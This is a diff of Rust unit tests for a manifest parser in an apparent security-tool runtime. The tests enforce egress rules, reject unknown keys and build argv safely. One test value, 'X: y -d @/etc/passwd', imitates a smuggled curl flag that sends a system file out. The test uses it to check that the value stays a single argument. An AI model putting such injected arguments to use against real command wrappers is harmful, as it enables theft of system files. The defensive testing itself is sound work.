-438,6 +1326,7 @@ risk_tier = "low" position = 1 required = true type = "scope_target" +block_internal = true description = "Target" [args.scan_type] @@ -477,66 +1366,366 @@ type = "object" } #[test] - fn test_manifest_missing_command() { - let toml_str = r#" + fn test_egress_binary_requires_block_internal() { + // curl on a url arg WITHOUT block_internal must be refused at load. + let bad = r#" [tool] -name = "bad" +name = "fetch" version = "1.0.0" -binary = "bad" -description = "bad" -risk_tier = "low" - +binary = "curl" +description = "x" +[args.url] +position = 1 +required = true +type = "url" +[command] +template = "curl {url}" [output] format = "text" - -[output.schema] -type = "object" "#; - let result = parse_manifest(toml_str); - assert!(result.is_err()); - let err = result.unwrap_err().to_string(); - assert!(err.contains("at least one execution backend")); - } + let err = parse_manifest(bad).unwrap_err().to_string(); + assert!(err.contains("block_internal"), "unexpected: {err}"); - #[test] - fn test_generate_mcp_schema() { - let m = parse_manifest(WHOIS_MANIFEST).unwrap(); - let schema = generate_mcp_schema(&m); - assert_eq!(schema["name"], "whois_lookup"); - assert!(schema["inputSchema"]["properties"]["target"].is_object()); - assert!(schema["outputSchema"]["properties"]["results"].is_object()); - } + // Same manifest WITH block_internal loads fine. + let good = bad.replace("type = \"url\"", "type = \"url\"\nblock_internal = true"); + assert!(parse_manifest(&good).is_ok()); - #[test] - fn test_generate_mcp_schema_number_type() { - let toml_str = r#" + // Non-egress binary (whois) does not require the flag. + let whois = r#" [tool] -name = "score" +name = "whois" version = "1.0.0" -binary = "callback" +binary = "whois" description = "x" -risk_tier = "low" -dispatch = "callback" - -[args.confidence] +[args.target] position = 1 required = true -type = "number" -min_float = 0.0 -max_float = 1.0 -description = "Confidence" +type = "scope_target" +[command] +template = "whois {target}" +[output] +format = "text" "#; - let m = parse_manifest(toml_str).unwrap(); - let schema = generate_mcp_schema(&m); - let prop = &schema["inputSchema"]["properties"]["confidence"]; - assert_eq!(prop["type"], "number"); - assert_eq!(prop["minimum"], 0.0); - assert_eq!(prop["maximum"], 1.0); + assert!(parse_manifest(whois).is_ok()); } - #[test] - fn test_parse_http_manifest() { - let toml_str = r#" + /// A oneshot manifest with one argument, for the egress lint tests. + fn egress_manifest( + binary: &str, + tool_extra: &str, + arg_type: &str, + arg_extra: &str, + backend: &str, + ) -> String { + format!( + r#" +[tool] +name = "t" +version = "1.0.0" +binary = "{binary}" +description = "x" +{tool_extra} + +[args.target] +position = 1 +required = true +type = "{arg_type}" +{arg_extra} + +{backend} + +[output] +format = "text" +"# + ) + } + + const LINT: &str = "is a network target for an egress binary but block_internal is not set"; + + #[test] + fn test_egress_lint_trigger_set() { + let cmd = |bin: &str| format!("[command]\nexec = [\"{bin}\", \"{{target}}\"]"); + // nmap, like curl, is on the binary list. + let err = parse_manifest(&egress_manifest( + "nmap", + "", + "scope_target", + "", + &cmd("nmap"), + )) + .unwrap_err() + .to_string(); + assert!(err.contains(LINT), "{err}"); + assert!(parse_manifest(&egress_manifest( + "nmap", + "", + "scope_target", + "block_internal = true", + &cmd("nmap") + )) + .is_ok()); + // A binary off the list needs the flag once the manifest declares + // egress — and not before. + assert!(parse_manifest(&egress_manifest( + "mytool", + "", + "scope_target", + "", + &cmd("mytool") + )) + .is_ok()); + let err = parse_manifest(&egress_manifest( + "mytool", + "network_egress = true", + "scope_target", + "", + &cmd("mytool"), + )) + .unwrap_err() + .to_string(); + assert!(err.contains(LINT), "{err}"); + assert!(parse_manifest(&egress_manifest( + "mytool", + "network_egress = true", + "scope_target", + "block_internal = true", + &cmd("mytool") + )) + .is_ok()); + // [http] is an egress backend. + let http = "[http]\nmethod = \"GET\"\nurl = \"https://api.example.com/\""; + let err = parse_manifest(&egress_manifest("none", "", "url", "", http)) + .unwrap_err() + .to_string(); + assert!(err.contains(LINT), "{err}"); + assert!(parse_manifest(&egress_manifest( + "none", + "", + "url", + "block_internal = true", + http + )) + .is_ok()); + // A non-egress binary does not require the flag. + assert!(parse_manifest(&egress_manifest( + "whois", + "", + "scope_target", + "", + &cmd("whois") + )) + .is_ok()); + } + + #[test] + fn test_egress_lint_covers_every_network_type() { + let cmd = "[command]\nexec = [\"curl\", \"{target}\"]"; + for ty in ["scope_target", "url", "ip_address", "cidr"] { + let err = parse_manifest(&egress_manifest("curl", "", ty, "", cmd)) + .unwrap_err() + .to_string(); + assert!(err.contains(LINT), "{ty}: {err}"); + assert!( + parse_manifest(&egress_manifest( + "curl", + "", + ty, + "block_internal = true", + cmd + )) + .is_ok(), + "{ty}" + ); + } + // A non-network type never needs the flag. + assert!(parse_manifest(&egress_manifest("curl", "", "string", "", cmd)).is_ok()); + } + + #[test] + fn test_browser_manifest_is_egress_for_command_args() { + let browser = |arg_extra: &str| { + format!( + r#" +[tool] +name = "web" +version = "1.0.0" +binary = "chrome" +description = "x" + +[command] + +[browser] +engine = "cdp" + +[browser.commands.navigate] +description = "Navigate" + +[browser.commands.navigate.args.url] +position = 1 +required = true +type = "url" +{arg_extra} + +[output] +format = "text" +"# + ) + }; + let err = parse_manifest(&browser("")).unwrap_err().to_string(); + assert!( + err.contains("argument 'browser.commands.navigate.args.url' is a network target"), + "{err}" + ); + assert!(err.contains(LINT), "{err}"); + assert!(parse_manifest(&browser("block_internal = true")).is_ok()); + } + + #[test] + fn test_executor_only_manifest_is_egress_only_by_declaration() { + // Nothing can inspect what the executor runs, so the lint has no + // binary to key on; the author must declare egress. + let exec_only = |tool_extra: &str| { + egress_manifest( + "runner", + tool_extra, + "scope_target", + "", + "[command]\nexecutor = \"/opt/runner.sh\"", + ) + }; + assert!(parse_manifest(&exec_only("")).is_ok()); + let err = parse_manifest(&exec_only("network_egress = true")) + .unwrap_err() + .to_string(); + assert!(err.contains(LINT), "{err}"); + } + + #[test] + fn test_custom_network_type_refused_in_egress_manifest() { + let custom = |base: &str| { + HashMap::from([( + "api_host".to_string(), + CustomTypeDef { + base: base.to_string(), + allowed: None, + pattern: None, + min: None, + max: None, + min_float: None, + max_float: None, + }, + )]) + }; + let cmd = "[command]\nexec = [\"curl\", \"{target}\"]"; + let mut m = parse_manifest(&egress_manifest( + "curl", + "", + "url", + "block_internal = true", + cmd, + )) + .unwrap(); + m.args.get_mut("target").unwrap().type_name = "api_host".to_string(); + // Refused for every network base — even though this arg set + // block_internal itself; the refusal is unconditional. + for base in ["scope_target", "url", "ip_address", "cidr"] { + let err = validate_manifest_with_custom_types(&m, &custom(base)) + .unwrap_err() + .to_string(); + assert_eq!( + err, + format!( + "manifest error: argument 'target' uses custom type 'api_host' as a network target; \ + custom types cannot carry block_internal — use the built-in {base} type" + ) + ); + } + // A custom type over a non-network base is fine in an egress manifest. + assert!(validate_manifest_with_custom_types(&m, &custom("string")).is_ok()); + // Without the custom types in scope the name is simply unknown. + let err = validate_manifest_with_custom_types(&m, &HashMap::new()) + .unwrap_err() + .to_string(); + assert!(err.contains("unknown type 'api_host'"), "{err}"); + // A custom type over an unsupported base is refused. + let err = validate_manifest_with_custom_types(&m, &custom("nope")) + .unwrap_err() + .to_string(); + assert!(err.contains("invalid base type 'nope'"), "{err}"); + // Not an egress manifest: a custom network type is permitted. + let mut w = parse_manifest(&egress_manifest( + "whois", + "", + "scope_target", + "", + "[command]\nexec = [\"whois\", \"{target}\"]", + )) + .unwrap(); + w.args.get_mut("target").unwrap().type_name = "api_host".to_string(); + assert!(validate_manifest_with_custom_types(&w, &custom("scope_target")).is_ok()); + } + + #[test] + fn test_manifest_missing_command() { + let toml_str = r#" +[tool] +name = "bad" +version = "1.0.0" +binary = "bad" +description = "bad" +risk_tier = "low" + +[output] +format = "text" + +[output.schema] +type = "object" +"#; + let result = parse_manifest(toml_str); + assert!(result.is_err()); + let err = result.unwrap_err().to_string(); + assert!(err.contains("at least one execution backend")); + } + + #[test] + fn test_generate_mcp_schema() { + let m = parse_manifest(WHOIS_MANIFEST).unwrap(); + let schema = generate_mcp_schema(&m); + assert_eq!(schema["name"], "whois_lookup"); + assert!(schema["inputSchema"]["properties"]["target"].is_object()); + assert!(schema["outputSchema"]["properties"]["results"].is_object()); + } + + #[test] + fn test_generate_mcp_schema_number_type() { + let toml_str = r#" +[tool] +name = "score" +version = "1.0.0" +binary = "callback" +description = "x" +risk_tier = "low" +dispatch = "callback" + +[args.confidence] +position = 1 +required = true +type = "number" +min_float = 0.0 +max_float = 1.0 +description = "Confidence" +"#; + let m = parse_manifest(toml_str).unwrap(); + let schema = generate_mcp_schema(&m); + let prop = &schema["inputSchema"]["properties"]["confidence"]; + assert_eq!(prop["type"], "number"); + assert_eq!(prop["minimum"], 0.0); + assert_eq!(prop["maximum"], 1.0); + } + + #[test] + fn test_parse_http_manifest() { + let toml_str = r#" [tool] name = "api_check" version = "1.0.0" @@ -715,6 +1904,7 @@ type = "object" name = "psql_session" version = "1.0.0" binary = "psql" +mode = "session" description = "Interactive PostgreSQL session" timeout_seconds = 300 risk_tier = "medium" @@ -754,6 +1944,8 @@ type = "object" "#; let m = parse_manifest(toml_str).unwrap(); assert_eq!(m.tool.name, "psql_session"); + assert_eq!(m.tool.mode.as_deref(), Some("session")); + assert_eq!(m.mode(), "session"); assert!(m.session.is_some()); let session = m.session.as_ref().unwrap(); assert_eq!( @@ -782,6 +1974,7 @@ type = "object" name = "web_scraper" version = "1.0.0" binary = "chrome" +mode = "browser" description = "Browser-based web scraper" timeout_seconds = 120 risk_tier = "medium" @@ -811,6 +2004,7 @@ risk_tier = "low" position = 1 required = true type = "url" +block_internal = true description = "URL to navigate to" [browser.commands.click] @@ -830,6 +2024,7 @@ type = "object" "#; let m = parse_manifest(toml_str).unwrap(); assert_eq!(m.tool.name, "web_scraper"); + assert_eq!(m.mode(), "browser"); assert!(m.browser.is_some()); let browser = m.browser.as_ref().unwrap(); assert_eq!(browser.engine, "cdp"); @@ -988,4 +2183,1533 @@ type = "object" assert!(m.command.template.is_none()); assert!(m.command.executor.is_none()); } + + // ---- W1: compile-to-exec at load ------------------------------------ + + /// A non-egress manifest skeleton; `$COMMAND` is replaced per test. + fn echo_manifest(command: &str) -> String { + format!( + r#" +[tool] +name = "echo_tool" +version = "1.0.0" +binary = "echo" +description = "x" + +[args.target] +position = 1 +required = true +type = "scope_target" + +[args.label] +position = 2 +required = false +type = "string" +default = "" +allow_whitespace = true + +{command} + +[output] +format = "text" +"# + ) + } + + #[test] + fn test_template_is_compiled_to_exec_at_load() { + let m = parse_manifest(WHOIS_MANIFEST).unwrap(); + assert_eq!( + m.command.exec.as_deref(), + Some(&["whois".to_string(), "{target}".to_string()][..]) + ); + // The template is kept for display; it did not declare exec. + assert_eq!(m.command.template.as_deref(), Some("whois {target}")); + assert!(!m.command.exec_was_declared); + + let declared = + parse_manifest(&echo_manifest("[command]\nexec = [\"echo\", \"{target}\"]")).unwrap(); + assert!(declared.command.exec_was_declared); + + // Both present: exec wins and counts as declared. + let both = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo {target}\"\nexec = [\"echo\", \"{target}\"]", + )) + .unwrap(); + assert!(both.command.exec_was_declared); + } + + #[test] + fn test_template_placeholder_inside_quotes_refused_at_load() { + let err = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo '{label}' {target}\"", + )) + .unwrap_err() + .to_string(); + assert!(err.contains("inside quotes"), "unexpected: {err}"); + + // Same rule for a conditional template. + let err = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo {_lbl} {target}\"\n\n[command.conditionals.lbl]\nwhen = \"label != ''\"\ntemplate = \"-l \\\"{label}\\\"\"", + )) + .unwrap_err() + .to_string(); + assert!(err.contains("conditional 'lbl'"), "unexpected: {err}"); + assert!(err.contains("inside quotes"), "unexpected: {err}"); + + // A brace escape inside quotes is fine. + let m = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo -w '%{{http_code}}' {target}\"", + )) + .unwrap(); + assert_eq!(m.command.exec.as_ref().unwrap()[2], "%{{http_code}}"); + } + + #[test] + fn test_unresolved_placeholder_refused_at_load() { + let err = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo {nope} {target}\"", + )) + .unwrap_err() + .to_string(); + assert!( + err.contains("unresolved placeholder '{nope}' in command"), + "unexpected: {err}" + ); + let err = parse_manifest(&echo_manifest( + "[command]\nexec = [\"echo\", \"--x={typo}\", \"{target}\"]", + )) + .unwrap_err() + .to_string(); + assert!( + err.contains("unresolved placeholder '{typo}'"), + "unexpected: {err}" + ); + + // Inside a conditional. + let err = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo {_lbl} {target}\"\n\n[command.conditionals.lbl]\nwhen = \"label != ''\"\ntemplate = \"-l {labl}\"", + )) + .unwrap_err() + .to_string(); + assert!( + err.contains("unresolved placeholder '{labl}'"), + "unexpected: {err}" + ); + assert!(err.contains("conditional 'lbl'"), "unexpected: {err}"); + + // The legacy `_` mapping alias is gone; only `__flags` exists. + let err = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo {_label} {target}\"\n\n[command.mappings.label]\nx = \"-x\"", + )) + .unwrap_err() + .to_string(); + assert!( + err.contains("unresolved placeholder '{_label}'"), + "unexpected: {err}" + ); + assert!(parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo {_label_flags} {target}\"\n\n[command.mappings.label]\nx = \"-x\"", + )) + .is_ok()); + + // Injected vars and [command.defaults] keys resolve. + assert!(parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo {_scan_id} {_output_file} {_evidence_dir} {rate} {target}\"\n\n[command.defaults]\nrate = 10", + )) + .is_ok()); + + // A trusted multi-token var glued to literal text is refused. + let err = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo --f={_label_flags} {target}\"\n\n[command.mappings.label]\nx = \"-x\"", + )) + .unwrap_err() + .to_string(); + assert!(err.contains("whole token"), "unexpected: {err}"); + } + + #[test] + fn test_literal_brace_escape_survives_load_and_build() { + let m = parse_manifest(&echo_manifest( + "[command]\nexec = [\"echo\", \"-w\", \"%{{http_code}}\", \"{target}\"]", + )) + .unwrap(); + let args = HashMap::from([("target".to_string(), "10.0.1.1".to_string())]); + let argv = executor::build_command_argv(&m, &args).unwrap(); + assert_eq!(argv, vec!["echo", "-w", "%{http_code}", "10.0.1.1"]); + } + + #[test] + fn test_end_of_options_validated_at_load_and_applied() { + let err = parse_manifest(&echo_manifest( + "[command]\nexec = [\"echo\", \"{target}\"]\nend_of_options = \"-\"", + )) + .unwrap_err() + .to_string(); + assert!(err.contains("end_of_options"), "unexpected: {err}"); + + let m = parse_manifest(&echo_manifest( + "[command]\nexec = [\"echo\", \"-n\", \"{target}\", \"{label}\"]\nend_of_options = \"--\"", + )) + .unwrap(); + let args = HashMap::from([ + ("target".to_string(), "10.0.1.1".to_string()), + ("label".to_string(), "x".to_string()), + ]); + let argv = executor::build_command_argv(&m, &args).unwrap(); + assert_eq!(argv, vec!["echo", "-n", "--", "10.0.1.1", "x"]); + let dry = executor::dry_run(&m, &args).unwrap(); + assert_eq!(dry.command, "echo -n -- 10.0.1.1 x"); + } + + #[test] + fn test_exec_value_with_space_is_one_argv_element() { + // Declared exec + allow_whitespace: the value passes validation in + // exec mode and lands in argv as exactly one element. + let m = parse_manifest(&echo_manifest( + "[command]\nexec = [\"echo\", \"--label\", \"{label}\", \"{target}\"]", + )) + .unwrap(); + assert!(m.command.exec_was_declared); + let label = validator::validate_arg_mode( + "label", + &m.args["label"], + "X: y -d @/etc/passwd", + m.command.exec_was_declared, + ) + .unwrap(); + let args = HashMap::from([ + ("target".to_string(), "10.0.1.1".to_string()), + ("label".to_string(), label), + ]); + let argv = executor::build_command_argv(&m, &args).unwrap(); + assert_eq!(argv.len(), 4, "argv: {argv:?}"); + assert_eq!(argv[2], "X: y -d @/etc/passwd"); + let dry = executor::dry_run(&m, &args).unwrap(); + assert_eq!(dry.command, "echo --label X: y -d @/etc/passwd 10.0.1.1"); + + // The same manifest written as a template stays strict: the compiled + // exec is not a declared exec, so allow_whitespace is not honored. + let t = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo --label {label} {target}\"", + )) + .unwrap(); + assert!(!t.command.exec_was_declared); + let err = executor::dry_run(&t, &args).unwrap_err().to_string(); + assert!( + err.contains("must not contain whitespace"), + "unexpected: {err}" + ); + } + + #[test] + fn test_conditional_tokens_populated_at_load() { + let m = parse_manifest(&echo_manifest( + "[command]\nexec = [\"echo\", \"{_lbl}\", \"{target}\"]\n\n[command.conditionals.lbl]\nwhen = \"label != ''\"\ntemplate = \"-l {label}\"", + )) + .unwrap(); + let cond = &m.command.conditionals.as_ref().unwrap()["lbl"]; + assert_eq!(cond.tokens, vec!["-l", "{label}"]); + + let args = HashMap::from([ + ("target".to_string(), "10.0.1.1".to_string()), + ("label".to_string(), "X-Trace: abc".to_string()), + ]); + let argv = executor::build_command_argv(&m, &args).unwrap(); + assert_eq!(argv, vec!["echo", "-l", "X-Trace: abc", "10.0.1.1"]); + } + + #[test] + fn test_enum_mapping_must_cover_allowed_values_at_load() { + let base = r#" +[tool] +name = "echo_tool" +version = "1.0.0" +binary = "echo" +description = "x" + +[args.target] +position = 1 +required = true +type = "scope_target" + +[args.mode] +position = 2 +required = true +type = "enum" +allowed = ["fast", "slow", "none"] + +[command] +exec = ["echo", "{_mode_flags}", "{target}"] + +[command.mappings.mode] +$MAPPING + +[output] +format = "text" +"#; + // Two of three allowed values mapped: refused, naming the gap. + let err = parse_manifest(&base.replace("$MAPPING", "fast = \"-T4\"\nslow = \"-T1\"")) + .unwrap_err() + .to_string(); + assert!( + err.contains("mapping for enum argument 'mode'"), + "unexpected: {err}" + ); + assert!(err.contains("[none]"), "unexpected: {err}"); + + // Mapping the remaining value to "" means "no flags" and loads. + let m = parse_manifest( + &base.replace("$MAPPING", "fast = \"-T4\"\nslow = \"-T1\"\nnone = \"\""), + ) + .unwrap(); + let args = HashMap::from([ + ("target".to_string(), "10.0.1.1".to_string()), + ("mode".to_string(), "none".to_string()), + ]); + assert_eq!( + executor::build_command_argv(&m, &args).unwrap(), + vec!["echo", "10.0.1.1"] + ); + } + + #[test] + fn test_unbalanced_mapping_value_refused_at_load() { + let err = parse_manifest(&echo_manifest( + "[command]\ntemplate = \"echo {_label_flags} {target}\"\n\n[command.mappings.label]\nx = \"-x 'oops\"", + )) + .unwrap_err() + .to_string(); + assert!(err.contains("mapping for 'label'"), "unexpected: {err}"); + assert!(err.contains("unbalanced quote"), "unexpected: {err}"); + } + + // ----- unknown manifest keys ----------------------------------------- + + /// Smallest valid oneshot manifest with a hole in each section to drop + /// extra lines into. + fn oneshot(tool: &str, arg: &str, command: &str, output: &str) -> String { + format!( + r#" +[tool] +name = "t" +version = "1.0.0" +binary = "echo" +description = "d" +{tool} + +[args.target] +position = 1 +required = true +type = "scope_target" +{arg} + +[command] +exec = ["echo", "{{target}}"] +{command} + +[output] +format = "text" +{output} +"# + ) + } + + #[test] + fn test_unknown_tool_key_refused() { + let err = parse_manifest(&oneshot("tiemout_seconds = 5", "", "", "")) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "manifest error: unknown key 'tool.tiemout_seconds' in manifest" + ); + } + + #[test] + fn test_unknown_arg_key_refused() { + let err = parse_manifest(&oneshot("", "block_internal_typo = true", "", "")) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "manifest error: unknown key 'args.target.block_internal_typo' in manifest" + ); + } + + #[test] + fn test_unknown_command_output_http_conditional_keys_refused() { + let err = parse_manifest(&oneshot("", "", "shell = true", "")) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "manifest error: unknown key 'command.shell' in manifest" + ); + + let err = parse_manifest(&oneshot("", "", "", "max_byte = 1")) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "manifest error: unknown key 'output.max_byte' in manifest" + ); + + let cond = "[command.conditionals.rate_flag]\nwhen = \"target != ''\"\ntemplate = \"-x\"\nwhenn = \"y\""; + let err = parse_manifest(&oneshot("", "", cond, "")) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "manifest error: unknown key 'command.conditionals.rate_flag.whenn' in manifest" + ); + // Inline-table form of the same conditional. + let cond = "[command.conditionals]\nrate_flag = { when = \"target != ''\", template = \"-x\", whenn = \"y\" }"; + let err = parse_manifest(&oneshot("", "", cond, "")) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "manifest error: unknown key 'command.conditionals.rate_flag.whenn' in manifest" + ); + + let http = oneshot("", "", "", "") + + "\n[http]\nmethod = \"GET\"\nurl = \"https://example.com/\"\nverb = \"GET\"\n"; + let err = parse_manifest(&http).unwrap_err().to_string(); + assert_eq!(err, "manifest error: unknown key 'http.verb' in manifest"); + } + + #[test] + fn test_several_unknown_keys_reported_together_sorted() { + let bad = oneshot( + "tiemout_seconds = 5", + "block_internal_typo = true", + "shell = true", + "max_byte = 1", + ) + "\n[toolz]\nx = 1\n"; + let err = parse_manifest(&bad).unwrap_err().to_string(); + assert_eq!( + err, + "manifest error: \ + unknown key 'args.target.block_internal_typo' in manifest; \ + unknown key 'command.shell' in manifest; \ + unknown key 'output.max_byte' in manifest; \ + unknown key 'tool.tiemout_seconds' in manifest; \ + unknown key 'toolz' in manifest" + ); + } + + #[test] + fn test_allow_unknown_keys_downgrades_to_warning() { + let text = oneshot("tiemout_seconds = 5", "block_internal_typo = true", "", ""); + let strict = LoadOptions::default(); + assert!(!strict.allow_unknown_keys); + assert!(parse_manifest_with(&text, strict).is_err()); + + let lenient = LoadOptions { + allow_unknown_keys: true, + ..Default::default() + }; + let m = parse_manifest_with(&text, lenient).unwrap(); + // The unknown keys were dropped, not applied under another name. + assert_eq!(m.tool.timeout_seconds, 60); + assert!(!m.args["target"].block_internal); + } + + #[test] + fn test_open_maps_are_not_walked() { + // Keys inside these tables are user-chosen names, never unknown keys. + let command = "\n[command.defaults]\nrate = 1\nmax_byte = 2\n\n\ + [command.mappings.target]\nanything = \"-x\"\n"; + let output = "\n[output.schema]\ntype = \"object\"\nshell = true\n\n\ + [output.schema.properties.whenn]\ntype = \"string\"\n"; + let m = parse_manifest(&oneshot("", "", command, output)).unwrap(); + assert!(m.command.defaults.unwrap().contains_key("max_byte")); + + // `[http]` makes this an egress manifest, so the target needs the flag. + let remote = oneshot("", "block_internal = true", "", "") + + "\n[http]\nmethod = \"GET\"\nurl = \"https://example.com/\"\n\ + [http.headers]\nX-Anything = \"1\"\n\n\ + [mcp]\nserver = \"s\"\ntool = \"t\"\n[mcp.field_map]\nwhatever = \"x\"\n"; + let m = parse_manifest(&remote).unwrap(); + assert!(m.http.unwrap().headers.contains_key("X-Anything")); + assert!(m.mcp.unwrap().field_map.contains_key("whatever")); + } + + #[test] + fn test_serde_is_the_second_layer() { + // Even without the allowlist walk, the types refuse unknown fields. + let err = toml::from_str::("type = \"string\"\nblock_internal_typo = true") + .unwrap_err() + .to_string(); + assert!(err.contains("unknown field"), "unexpected: {err}"); + let err = toml::from_str::( + "name = \"t\"\nversion = \"1\"\nbinary = \"b\"\ndescription = \"d\"\ntiemout_seconds = 5", + ) + .unwrap_err() + .to_string(); + assert!(err.contains("unknown field"), "unexpected: {err}"); + } + + #[test] + fn test_tool_mode_validated_and_derived() { + for mode in MODES { + let m = parse_manifest(&oneshot(&format!("mode = \"{mode}\""), "", "", "")).unwrap(); + assert_eq!(m.tool.mode.as_deref(), Some(*mode)); + // Advisory: the declared value wins even without a matching section. + assert_eq!(m.mode(), *mode); + } + let err = parse_manifest(&oneshot("mode = \"sessionz\"", "", "", "")) + .unwrap_err() + .to_string(); + assert!( + err.contains("invalid mode 'sessionz', must be one of: oneshot, session, browser"), + "unexpected: {err}" + ); + + // Derived from the backend section when absent. + let m = parse_manifest(&oneshot("", "", "", "")).unwrap(); + assert!(m.tool.mode.is_none()); + assert_eq!(m.mode(), "oneshot"); + let m = parse_manifest( + ALL_SESSION_BROWSER_KEYS + .replace("mode = \"session\"\n", "") + .as_str(), + ) + .unwrap(); + assert!(m.tool.mode.is_none()); + assert_eq!(m.mode(), "session"); + let m = parse_manifest( + ALL_SESSION_BROWSER_KEYS + .replace("mode = \"session\"\n", "") + .replace("startup_command", "startup_command_") + .as_str(), + ); + assert!(m.is_err()); // sanity: the replacement above hit a real key + } + + // Every key in the manifest allowlist, spread over three manifests. These are + // the drift guard between this runtime's allowlist and the others'. + + const ALL_ONESHOT_KEYS: &str = r#" +[tool] +name = "all_oneshot_keys" +version = "1.0.0" +binary = "echo" +description = "exercises every tool, cedar, evidence, limits, args, command and output key" +timeout_seconds = 30 +risk_tier = "low" +human_approval = false +dispatch = "exec" +mode = "oneshot" +network_egress = false +allow_interpreter = false + +[tool.cedar] +resource = "Tool::AllKeys" +action = "execute_tool" + +[tool.evidence] +output_dir = "{evidence_dir}/{scan_id}" +capture = false +hash = "sha256" +screenshots = false + +[tool.limits] +nproc = 64 +nofile = 256 +fsize_bytes = 1048576 +address_space_bytes = 268435456 +cpu_seconds = 30 + +[args.target] +position = 1 +required = true +type = "scope_target" +description = "host" +sanitize = ["injection"] +scope_check = false +block_internal = true +allow_leading_dash = false +allow_whitespace = false + +[args.level] +position = 2 +required = false +type = "enum" +allowed = ["low", "high"] +default = "low" +description = "level" + +[args.count] +position = 3 +required = false +type = "integer" +min = 1 +max = 10 +clamp = true +default = 5 +description = "count" + +[args.ratio] +position = 4 +required = false +type = "number" +min_float = 0.0 +max_float = 1.0 +default = 0.5 +description = "ratio" + +[args.site] +position = 5 +required = false +type = "url" +schemes = ["https"] +pattern = "^https://" +default = "https://example.com/" +description = "site" + +[command] +exec = ["echo", "{_level_flags}", "{count}", "{ratio}", "{site}", "{rate}", "{_verbose}", "{target}"] +template = "echo {target}" +executor = "/usr/local/bin/all-keys-runner" +end_of_options = "--" + +[command.defaults] +rate = 100 + +[command.mappings.level] +low = "-l" +high = "-h" + +[command.conditionals.verbose] +when = "count != '5'" +template = "-v {count}" + +[output] +format = "json" +parser = "builtin:json" +envelope = true +max_bytes = 1048576 + +[output.schema] +type = "object" +"#; + + const ALL_SESSION_BROWSER_KEYS: &str = r#" +[tool] +name = "all_session_browser_keys" +version = "1.0.0" +binary = "psql" +mode = "session" +description = "exercises every session and browser key" + +[command] + +[session] +startup_command = "psql" +ready_pattern = "=>" +startup_timeout_seconds = 15 +idle_timeout_seconds = 600 +session_timeout_seconds = 3600 +max_interactions = 200 + +[session.interaction] +input_sanitize = ["injection"] +output_max_bytes = 2097152 +output_wait_ms = 3000 + +[session.commands.select] +pattern = "^SELECT\\b" +description = "Run a SELECT query" +risk_tier = "low" +human_approval = false +extract_target = false + +[session.commands.select.args.query] +position = 1 +required = true +type = "string" +description = "SQL" + +[session.child_detection] +pattern = "session (\\d+) opened" +type = "meterpreter" +manifest = "tools/meterpreter.clad.toml" + +[browser] +engine = "cdp" +headless = true +connect = "launch" +extract_mode = "html" +startup_timeout_seconds = 10 +session_timeout_seconds = 600 +idle_timeout_seconds = 120 +max_interactions = 200 + +[browser.defaults] +extract_mode = "accessibility_tree" + +[browser.scope] +allowed_domains = ["example.com"] +blocked_domains = ["evil.example"] +allow_external = false + +[browser.commands.navigate] +description = "Navigate" +risk_tier = "low" +human_approval = false + +[browser.commands.navigate.args.url] +position = 1 +required = true +type = "url" +block_internal = true +description = "URL" + +[browser.state] +fields = ["current_url"] + +[output] +format = "text" +envelope = true +"#; + + const ALL_HTTP_MCP_KEYS: &str = r#" +[tool] +name = "all_http_mcp_keys" +version = "1.0.0" +binary = "curl" +description = "exercises every http and mcp key" + +[args.endpoint] +position = 1 +required = true +type = "string" +description = "API endpoint path" + +[command] +exec = ["curl", "{endpoint}"] + +[http] +method = "POST" +url = "https://api.example.com/{endpoint}" +headers = { "Accept" = "application/json" } +body_template = "{\"q\": \"{endpoint}\"}" +success_status = [200, 201] +error_status = [500] + +[mcp] +server = "search" +tool = "query" +field_map = { endpoint = "q" } + +[output] +format = "json" +envelope = true +"#; + + /// Keys present at every concrete location matching `section` in `doc`. + fn keys_at(doc: &toml::Table, section: &str) -> HashSet { + fn walk(table: &toml::Table, segments: &[&str], out: &mut HashSet) { + let Some((head, rest)) = segments.split_first() else { + out.extend(table.keys().cloned()); + return; + }; + if *head == "*" { + for value in table.values() { + if let toml::Value::Table(t) = value { + walk(t, rest, out); + } + } + } else if let Some(toml::Value::Table(t)) = table.get(*head) { + walk(t, rest, out); + } + } + let segments: Vec<&str> = section.split('.').filter(|s| !s.is_empty()).collect(); + let mut out = HashSet::new(); + walk(doc, &segments, &mut out); + out + } + + #[test] + fn test_every_allowlisted_key_is_accepted() { + let docs = [ + ALL_ONESHOT_KEYS, + ALL_SESSION_BROWSER_KEYS, + ALL_HTTP_MCP_KEYS, + ]; + for doc in docs { + parse_manifest(doc).unwrap_or_else(|e| panic!("{e}\n{doc}")); + } + + // Drift guard: every key in KNOWN_KEYS must appear in one of the + // manifests above at its own section, so adding a key to the table + // forces it into a manifest that the structs then have to accept. + // Argument tables share one allowlist, so their coverage is pooled. + const ARG_SECTIONS: &[&str] = &[ + "args.*", + "session.commands.*.args.*", + "browser.commands.*.args.*", + ]; + let tables: Vec = docs.iter().map(|d| toml::from_str(d).unwrap()).collect(); + let mut missing = Vec::new(); + for (section, keys) in KNOWN_KEYS { + let sections: &[&str] = if ARG_SECTIONS.contains(section) { + ARG_SECTIONS + } else { + std::slice::from_ref(section) + }; + let mut seen = HashSet::new(); + for s in sections { + for t in &tables { + seen.extend(keys_at(t, s)); + } + } + for key in *keys { + if !seen.contains(*key) { + missing.push(join_path(section, key)); + } + } + } + assert!( + missing.is_empty(), + "allowlisted keys not exercised by the drift-guard manifests: {missing:?}" + ); + + // And the new keys land in their fields, not just past the gate. + let m = parse_manifest(ALL_ONESHOT_KEYS).unwrap(); + assert_eq!(m.mode(), "oneshot"); + assert!(!m.tool.network_egress); + assert!(!m.tool.allow_interpreter); + let limits = 